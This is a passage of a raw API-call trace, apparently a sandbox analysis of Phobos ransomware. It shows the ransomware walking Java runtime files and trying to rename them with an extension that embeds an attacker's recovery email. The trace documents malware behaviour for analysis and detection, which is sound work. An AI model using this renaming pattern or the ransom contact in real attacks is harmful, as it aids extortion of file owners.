pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.508] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.508] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=26688) returned 1 [0150.508] CloseHandle (hObject=0x564) returned 1 [0150.509] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll")) returned 0x20 [0150.509] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.509] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.509] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.509] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.510] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=139840) returned 1 [0150.510] CloseHandle (hObject=0x564) returned 1 [0150.510] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll")) returned 0x20 [0150.510] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.510] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.510] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.510] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.517] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=41503296) returned 1 [0150.518] CloseHandle (hObject=0x564) returned 1 [0150.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll")) returned 0x20 [0150.520] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0150.520] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll")) returned 0 [0150.521] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.521] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.523] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=15936) returned 1 [0150.523] CloseHandle (hObject=0x564) returned 1 [0150.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe")) returned 0x20 [0150.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.524] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.525] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.525] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.526] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=174656) returned 1 [0150.526] CloseHandle (hObject=0x564) returned 1 [0150.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll")) returned 0x20 [0150.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.527] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.528] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.528] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.529] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=296000) returned 1 [0150.529] CloseHandle (hObject=0x564) returned 1 [0150.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll")) returned 0x20 [0150.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.530] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.531] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.531] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.536] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=112192) returned 1 [0150.537] CloseHandle (hObject=0x564) returned 1 [0150.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe")) returned 0x20 [0150.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.635] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.636] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.636] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.636] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=15424) returned 1 [0150.636] CloseHandle (hObject=0x580) returned 1 [0150.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll")) returned 0x20 [0150.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.636] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.637] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.637] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.637] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=15936) returned 1 [0150.637] CloseHandle (hObject=0x580) returned 1 [0150.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe")) returned 0x20 [0150.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.638] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.638] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.638] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.639] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=16448) returned 1 [0150.639] CloseHandle (hObject=0x580) returned 1 [0150.639] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe")) returned 0x20 [0150.639] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.639] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.640] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.640] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.640] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=18677760) returned 1 [0150.640] CloseHandle (hObject=0x580) returned 1 [0150.640] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa")) returned 0x21 [0150.640] SetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa", dwFileAttributes=0x20) returned 0 [0150.641] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0150.641] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa")) returned 0 [0150.641] SetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa", dwFileAttributes=0x21) returned 0 [0150.641] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.641] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.642] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=8809536) returned 1 [0150.642] CloseHandle (hObject=0x580) returned 1 [0150.642] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll")) returned 0x20 [0150.642] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0150.642] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll")) returned 0 [0150.643] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.643] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.644] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=16448) returned 1 [0150.644] CloseHandle (hObject=0x580) returned 1 [0150.644] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe")) returned 0x20 [0150.644] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.644] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.644] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.645] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.645] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=204864) returned 1 [0150.645] CloseHandle (hObject=0x580) returned 1 [0150.645] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll")) returned 0x20 [0150.645] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.645] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.647] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.647] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.648] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=571968) returned 1 [0150.648] CloseHandle (hObject=0x580) returned 1 [0150.649] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll")) returned 0x20 [0150.649] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.649] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.649] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.649] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.650] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=70208) returned 1 [0150.650] CloseHandle (hObject=0x580) returned 1 [0150.650] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe")) returned 0x20 [0150.650] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.650] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.650] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.650] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.651] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=135744) returned 1 [0150.651] CloseHandle (hObject=0x580) returned 1 [0150.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll")) returned 0x20 [0150.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff 